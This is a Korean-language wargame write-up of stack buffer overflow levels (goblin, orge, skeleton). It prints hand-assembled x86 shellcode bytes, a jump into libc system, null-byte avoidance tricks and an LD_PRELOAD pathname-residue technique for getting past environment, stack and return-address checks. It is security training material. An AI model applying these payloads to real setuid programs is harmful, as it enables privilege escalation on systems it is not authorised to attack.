bash 버그 때문에 반드시 bash2를 사용해야 한다는 점 주의.


구축하고 나서 netconfig로 설정해주어야 telnet 접속이 가능하다.






goblin - hackers proof

EGGhunter

1)환경변수 포인터를 memset으로 0으로 만들어 환경변수를 쓸 수 없게함.

2)argv[1][47]이 bf인지 검사해서 bf가 아니면 exit. 저 자리는 retaddr의 첫번째 자리임. 따라서 stack으로만 ret가능.


stack 여유 공간은 40Byte이고 여기에 쉘코드 삽입하면 충분히 가능함.

쉘코드는 이렇다.

31 c0 50

68 70 61 73 73

68 2f 6d 79 2d

68 2f 62 69 6e

89 e3 50 53 89

e1 89 c2 b0 0b

cd 80


근데 자꾸 안되길래 coredump로 stack을 확인해 보니 shellcode 삽입이 제대로 안되어 있었다.

잘 들어가다가 중간에 0x00000000같은게 존재하고 그 이후부터 제대로 안들어 가는 듯 했다.

레지스터를 확인해 보니 역시 eip가 stack 한 가운데의 0x00000000부분을 가리키는 상태에서 멈춰있었고. 

즉 실행흐름은 스택으로 잘 넘어오긴 왔다는것.


뭐가문제일까 생각하다 보니까 삽입이 제대로 안되어 있던게 아니라 ret직후 esp가 stack의 한 가운데 0x00000000부분을 가리키고 있더라. 그래서 쉘코드가 삽입된 stack의 한 가운데에 쉘코드의 첫번째 명령어 push eax (eax는 0)를 하게되어 0x00000000으로 덮어 써버린 것.


방법1

esp를 다른 곳으로 돌리면 해결가능할 듯 해서

쉘코드 첫부분에 bc f0 fa ff bf를 추가해서 성공.


방법2

esp 주변에 데이터 삽입이 가능한 상황이니 RTL처럼 libc를 이용할 수도 있다.

bf 검사 때문에 무조건 스택으로만 ret가능하므로 스택으로 ret한 후 libc로 jmp하면 해결가능할 듯.

이 방법도 2가지로 나뉜다.

1)leave시 ebp에 x-ebp가 들어가므로 x-ebp에 적당한 값을 넣고 jmp system+3으로 prologue를 건너뛰는 방법.

2)일반적인 RTL하듯 인자 넘기고 단순히 jmp system 하는 방법. 


mov $0x40058ae0, %eax

jmp *%eax

b8 e0 8a 05 40

ff e0


일단 jmp하는 쉘코드는 얻어냈는데, system함수의 인자가 문제다. 환경변수를 못쓰니까.

그럼 어쨌든 쉘코드 내에서 주소를 얻어내야하고, 그 뒤에 적당한 위치에 옮겨쓰는 작업까지 해줘야한다.

stack에 system함수에서 실행할 문자열을 삽입하고 

push %esp로 주소를 얻어낸 다음, 

esp-4의 위치에 이 주소가 있어야 하므로 한번 더 push해서 esp를 올린다.

메모리에는 이렇게으로 들어간다.

 주소

 삽입전 

 삽입후 

 쉘코드 실행 후

 af0

 

 c1 c0 50 68

 

 af4

 

 70 61 73 73

 

 af8

 

 68 2f 6d 79 

 afc

 

 2d 68 2f 62 

 b00

 

 69 6e 54 54

 

 b04

 

 b8 e0 8a 05 

 b08

 

 40 ff e0

 push된esp

 b0c

 

 

 push된esp

 b10

 

  /bin

 b14

 

 

 /my-

 b18

 x-ebp

 

 pass

 b1c

 ret

  0

쉘코드를 실행하는 동안 push하면서 쉘코드를 덮어 써버려 제대로 실행이 안될 것 같아서 /bin/my-pass문자열 길이를 줄였다.

aa라는 스크립트를 만든 후 ./aa를 실행하기로 했다.

goblin디렉토리에 orc권한으로 접근 불가해서 실패.


/tmp/aaa를 만들어서 다시 해봤다. 성공.

31 c0 50

68 2f 61 61 61

68 2f 74 6d 70

54 54

b8 e0 8a 05 40

ff e0






orge - timewalker

argv[0]를 통해서 넘겨야 하는 것 밖에는 방법이 없는 것 같은데

링크가 안된다.. 쉘코드에 포함되어있는 /를 디렉토리 구분자로 인식해서 ln에서 인자 읽다가 오류난다.

PATH 조회해보니 /home/orge/bin 폴더가 들어있어서 bin폴더 만들고 그안에 넣으면 /없이 실행 가능.


ssss: command not found까지 가는거 보면 system은 잘 실행되는데 거기서 ssss를 못찾는가본데

PATH 환경변수가 빠지나??

egghunter가 있다고 PATH환경변수가 빠지는 것은 아닌 것 같다. 환경변수 초기화해도 /bin/에 있는my-pass같은건 잘 실행된다.

system함수를 이용해서 실행할 때 쉘이 새로 떠서 /home/orge/bin이 PATH에서 빠지는게 맞는 것 같다.

근데 그것도 좀 이상하네 환경변수 초기화했는데 my-pass를 system이 어디서 찾지??

쉘이 새로 떠서 환경변수 다시 가져오는건가???


아무튼 위 방법대로는 안되서 그냥 / hex값 -1을 ebx에 넣고 1더하기해줘야겠다.


mov $0x61616130, %ebx

sub 0x1, %ebx

push %ebx

bb 30 61 61 61

80 1d 01 00 00 00 

54

보다시피 sub나 add나 00이 들어있어서 안된다. 

1) bl을 써서 00을 제거하거나

add $0x1, %bl

80 c3 01


2) 아예 2e 61 61 61을 push 한 다음 esp 포인터로 add 1

addl $0x1, (%esp, 1)

03 04 24 01



31 c0 50

68 2e 61 61 61

03 04 24 01

68 2e 74 6d 70

03 04 24 01

54 54

b8 e0 8a 05 40

ff e0


이렇게 하니까 


03 04 24 01 이후 push가 add명령어에 묶여서 제대로 instruction을 인식 못한다.


뒤의 push 하는 어셈도 추가해서 다시 objdump 해보니

addl $0x1, (%esp, 1)

83 04 24 01

같은 어셈이지만 기계어 코드가 다른 경우도 있다.

이걸로 바꿔서 성공.






skeleton - shellcoder

ret있는 4byte 제외하고 buffer부터 stack의 최하단까지 모두 0으로 초기화해버린다. 

지금까지 사용했던

  • buffer를 사용하는 방법

  • main frame아래 공간을 사용하는 방법

  • argv를 사용하는 방법

  • stack최하단의 argv[0]을 사용하는 방법

모두 불가능하다.

dll injection같은 방식으로 어떻게 가능하지 않을까 싶었는데, shared library를 사용하면 가능할 것 같다.


dll injection같이 활용하려면 단순히 공유 라이브러리를 사용하는게 아니라, LD_PRELOAD를 사용하거나, ptrace를 사용해서 injection해야한다.

2016/12/19 - [System/LINUX & UNIX] - LD_PRELOAD를 이용한 so injection과 hooking. + wrapping function

* my-pass에 LD_PRELOAD를 사용해 setuid를 hooking할 수 있겠지만 이는 금지되어있다.


원래는 setUID가 걸려있어 LD_PRELOAD나 ptrace나 불가능하지만,

구식 OS에서는 LD_PRELOAD를 지정하면 $esp-1100 정도에 LD_PRELOAD로 넘긴 library의 pathname이 남는 취약점이 있다.


일단 b main하고 x/1000s $esp-1100 하니까 library pathname이 나온다. 저기 왜 저장되는건지는 모르겠지만 아무튼 이를 이용하면 된다.



* LD_PRELOAD로 지정한 library가 출력 동작을 할 경우, 출력되는 문자열이 argv로 섞여서 들어간다.

무슨말이냐면,


이런식으로 똑같이 A 47개 \xbf 넘겼는데 안되길래 gdb로 확인해보니 kka가 argv[1]로 들어가고 AAAA....\xbf가 argv[2]로 들어간다. 그래서 library를 아무런 동작도 안하도록 바꾸니까 LD_PRELOAD지정 하건 말건 똑같이 동작.

아무튼, 이건 별로 중요한건 아니다.